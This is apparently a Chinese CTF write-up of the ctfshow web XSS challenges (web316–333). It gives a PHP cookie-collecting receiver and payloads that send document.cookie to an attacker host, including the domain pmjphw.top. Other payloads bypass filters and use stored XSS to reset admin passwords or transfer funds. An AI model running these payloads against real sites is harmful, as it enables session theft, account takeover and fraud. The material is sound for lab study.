CTFshow--web--xss

目录

web316

web317~319

web320~326

web327

web328

web329

web330

web331

web332

web333


先在自己的服务器写上代码

php 复制代码
<?php

$content = $_GET[1];
if(isset($content)){
    file_put_contents('flag.txt','$content');
}else{
    echo 'no data input';
}

要拿到管理员的cookie , 而不是自己的

web316

<script>document.location.href="[ip]/x.php?1="+document.cookie</script>

web317~319

有了过滤

<body οnlοad="window.location.href='http://[ip]/x.php?1='+document.cookie">

web320~326

过滤了空格

<body/οnlοad="window.location.href='[ip]/x.php?1='+document.cookie">

web327

存储型xss

在信的内容那里输入

<script>document.location.href='http://pmjphw.top/x.php?1='+document.cookie\</script>

web328

注册的地方

注册一个密码为XSS Payload

<script>document.location.href='[ip]?1='+document.cookie</script>

就可以在自己的服务器上得到 管理员的cookie

在网页上将自己的cookie换掉 就可以进入到用户管理界面了 ,里面存在flag

但是一进入到里面就会跳转, 只能看到一瞬间的flag , 所以还需要进行抓包查看

多抓包了几次 , 搞了一下, 好像也进入到这个界面了, 没有跳转

web329

用上一个方法拿cookie的话没有用, 已经失效了,登录不上

直接拿内容

复制代码
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='[ip]/x.php?1='+value.innerHTML;}});</script>

web330

有一个修改密码的模块

在修改密码的那里 写入xss payload

复制代码
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

然后 admin / 123 登录

然后进入到用户管理界面

速度快一点, 两秒左右就会跳转走

web331

在注册的用户名处写入 xss payload

复制代码
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

然后 admin / 123 登录

web332

先注册一个123的用户登录

然后再注册一个 xss payload 的用户

123的用户就可以收到钱了

复制代码
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

web333

跟上一题一样

复制代码
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>

CTFSHOW-XSS - Boogiepop Doesn't Laugh
ctfshow-XSS篇 - 简书
https://juejin.cn/post/7083663044865163277

相关推荐
wordbaby2 小时前
网页防篡改 和 流量攻击防护 的具体方案
后端·xss
石氏是时试4 小时前
[VolgaCTF 2025] Baby-Welcome,BrokeBroke,Field Rules
ctf
Sweet_vinegar18 小时前
变量1(WEB)
安全·web·ctf·bugku
SuperherRo1 天前
Web开发-JS应用&VueJS框架&Vite构建&启动打包&渲染XSS&源码泄露&代码审计
前端·javascript·vue.js·xss·源码泄露·启动打包
Sweet_vinegar2 天前
Wire1
安全·ctf·misc·攻防世界
风之旅人-d46 天前
XSS复现漏洞简单前八关靶场
前端·安全·xss
myrouya7 天前
XSS通关技巧
前端·xss
落寞的魚丶7 天前
2025年河北省第二届职业技能大赛网络安全项目 模块 B样题任务书
ctf·2025河北省赛·2025河北第二届技能大赛·模块b
无极工作室(网络安全)7 天前
CTF-Pixel系列题目分析
ctf·隐写术
l1x1n08 天前
XSS 攻击向量与绕过技巧
前端·xss